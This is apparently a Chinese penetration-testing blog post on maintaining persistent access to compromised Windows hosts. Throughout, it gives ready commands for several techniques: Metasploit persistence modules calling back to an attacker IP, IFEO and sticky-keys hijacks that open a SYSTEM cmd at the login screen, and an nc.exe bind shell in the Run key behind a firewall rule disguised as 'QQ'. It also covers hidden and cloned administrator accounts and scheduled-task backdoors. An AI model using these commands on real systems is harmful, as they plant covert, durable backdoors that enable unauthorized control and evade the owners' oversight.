Windows权限维持

发布于 2021-08-03  1117 次阅读


《渗透测试》目录

一、Meterpreter权限维持

1.什么是权限维持

为了保证获取到的目标权限不会因为漏洞的修复而丢失,攻击者通常会在目标上安装一个后门,来保证对目标的持久化控制。

2.Meterpreter权限维持

meterpreter中的权限维持技术有两种:

  • persistence(注册表后门)
  • metsvc的后门(服务后门)

3.Persistence模块

Persistence模块:先上传vbs脚本,然后执行vbs脚本修改注表 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 从而完成自启动。(该注册表用于开机自启动)

开机自启动,但是容易被杀软查杀    

run persistence -h
use exploit/windows/local/persistence            #最新版使用exploit/windows/at_persostence
set session 2
set exe_name per
set vbs_name persis
set lhost 192.168.78.77
set lport 4444
run
使用一句话进行权限维持:
run persistence -U -X -i 10 -p 4444 -r 192.168.78.77 -P windows/x64/meterpreter/reverse_tcp

当使用run persistence进行持久化时默认远程路径会推送到 %TEMP%("C:\Users\AppData\Local\Temp\"),当用户重启时,persistence持久化就会出错。

run persistence -i 5 -p 4444 -r 192.168.78.77 -L C:\\Windows\\System32            #默认目录用户重启后会出错,通过-L选项将目录重定向,注意在meterpreter中要写两个斜杠

使用微软官方的软件对程序进行监测:sysinternals suite程序包(主要是进程监测procexp64 和 注册表监视器autoruns64)

4.Metsvc模块(这个模块使用有问题,了解即可)

metsvc模块是开机自启动的服务型后门,msf集成的权限持久化模块,通过服务启动,服务名是meterpreter,监听端口是31337。

run metsvc -h        # 模块信息
run metsvc -A        # 启动服务
run metsvc -r        # 移除服务
use exploit/multi/handler
set payload windows/metsvc_bind_tcp

5.Autorunscript

(1)Autorunscript

获取shell的时候自动执行持续化脚本,可以被Autorunscript执行的命令目录在metasploit/scripts/meterpreter。

(2)persistence

use exploit/multi/handler                #使用handler模块的同时进行持久化控制
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.78.77
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.78.77 -p 4444 -U -X -i 30      #避免产生很多session连接,这里的端口与上面监听的端口不同
exploit

(3)metsvc

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.78.117
set LPORT 5555
set ExitOnSession false
set AutoRunScript metsvc -A
exploit

二、系统工具替换后门

1.辅助系统工具

Windows 的辅助功能提供了额外的选项(屏幕键盘,放大镜,屏幕阅读等),可以帮助残疾人更容易地使用操作系统。然而,这种功能可能会被滥用于在启用 RDP 并获得 Administrator 权限的主机上实现持久化访问。这种技术会接触磁盘,或者需要修改注册表来执行远程存储的 payload。

涉及到的注册表项为IFEO(Image File Execution Options),默认是只有管理员和local system有权读写修改。

“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

大致的原理如下:当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就可以正常运行)会执行相关的选项参数,这里我们主要利用的参数是debugger,通过该参数我们可以实现偷梁换柱。

(1)后门原理(该后门可通过工具autoruns的镜像劫持模块进行查看)

下面以修改IE启动程序为例,实现运行IE程序但是启动的却是计算器

  1. 找到注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”目录下的iexplore.exe
  2. 添加一个debugger字符串键值,并且赋值为calc.exe的执行路径,“C:Windows\system32\calc.exe”
  3. 运行 iexplore.exe
通过命令行进行添加注册表项:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

2.Narrator

劫持Narrator讲述人

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

3.Utilman

劫持辅助工具管理器

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

4.Notepad

实现原程序退出后静默运行后门程序。以执行notepad为例,退出后静默运行calc.exe。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:Windows\system32\calc.exe"

分别为在Image File Execution Options中添加notepad、在退出时静默执行程序SilentProcessExit中添加notepad、退出时执行的程序路径

5.Shift后门

在windows登陆的时候按五次shift打开cmd进行操作。前提条件是:在将C盘windows目录下面的system32文件夹可写的情况下,将里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe。

但是在windows xp过后,sethc组件属于完全受信用的用户TrustInstall,我们无法修改名字,这时候即使administrators都只有名义上的只读和可执行权,我们可以手动修改其所属为administrators,步骤如下:

6.sticky_keys(前面几个的集成)

Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。该模块将用 CMD 替换辅助功能的二进制文件(sethc, osk, disp, utilman)。

use post/windows/manage/sticky_keys

当目标主机的屏幕被锁定时,执行 utilman 工具将会打开一个具有 system 级别权限的命令提示符。


三、开机自启动注册表项

1.Run

每次启动登录时都会按顺序自动执行。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别:前者对所有用户有效,后者只对当前用户有效。

2.RunOnce(仅会被自动执行一次)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

3.RunServicesOnce (程序会在系统加载时自动启动执行一次)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

4.RunServices(RunServices是继RunServicesOnce之后启动的程序)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

5.NC后门

在meterpreter下(路径需多加一个斜杠进行转义):
upload /root/nc.exe C:\\windows\\system32            #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run        #获取键值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 5555 -e cmd.exe'        #添加键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc        #查询设置的键值
execute -f cmd -i -H        #开启一个cmd,也可以执行命令
netsh firewall show opmode        #修改防火墙规则
netsh firewall add portopening TCP 5555 “QQ” ENABLE ALL        #方通5555端口的请求,“QQ”为规则名,起到混淆的作用
shutdown -r -f -t 0        #重启以使命令生效
upload /root/nc.exe C:\\windows\\system32
在cmd的shell下(略有区别):
reg query HKLM\software\microsoft\windows\currentversion\run
reg add HKLM\software\microsoft\windows\currentversion\run /v nc /t REG_SZ /d "C:\windows\system32\nc.exe -Ldp 5555 -e cmd.exe"
reg query HKLM\software\microsoft\windows\currentversion\run /v nc
execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 5555 “QQ” ENABLE ALL
shutdown -r -f -t 0

四、Other

1.schtasks计划任务

schtasks /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\mx\5555.exe /tn tes
Invoke-taskBackdoor(使用powershell脚本,定时反弹了msf和nc等连接)

2.schtasks命令

3.快捷方式

Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。快捷方式的文件扩展名是.LNK。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'D:\Program\openvpn\bin\openvpn-gui.exe'; invoke-item c:\windows\system32\calc.exe"
通过分号在指向的程序后面添加一个另外的程序执行,不足的是会闪过黑框,而且默认图标为powershell图标,需修改

4.账户隐藏

隐藏用户:

net user admin$ AdminPassw0ad!@ /add && net localgroup administrators admin$ /add        #添加隐藏用户并加入管理员组,控制面板可查看到

激活Guest用户:

net user guest Admin@hacker && net localgroup administrators guest /add        #给来宾用户添加密码并加入管理员组
net user guest /active:yes            #激活来宾用户

5.后门账号

创建克隆administrator账号,且通过命令net user 以及控制面板中的管理账户无法看到。

(1)用'$'创建匿名用户,并归到administratorsa用户组

net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add

(2)之后将administrator用户对应的Users中的F值复制替换后门账户的F值

导出匿名用户对应的sam目录下的注册表键值regedt32.exe 打开HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users键值,导出Names下用户目录以及对应的16进制目录。(注意需要给Administrator用户赋予Sam键值权限,默认是不允许的) 

这里将管理员用户和对应要隐藏的用户的注册表导出为.reg文件,然后将要隐藏用户的F键值替换为管理员用户的F键值。然后通过命令reg import filename.reg将注册表项导入。

(3)导出User下面的后门账户以及name下面的后门账户两个文件。

注:此时的隐藏账户在命令行和控制面板皆不可见,只有注册表可见(无法隐藏),或者通过net user username$查看。

6.文件夹启动

在每次开机或重启的时候就会运行启动文件夹下的程序

C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

7.SC

sc create [ServerName] binPath= BinaryPathName

重启权限维持,但一般杀软会拦截。


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。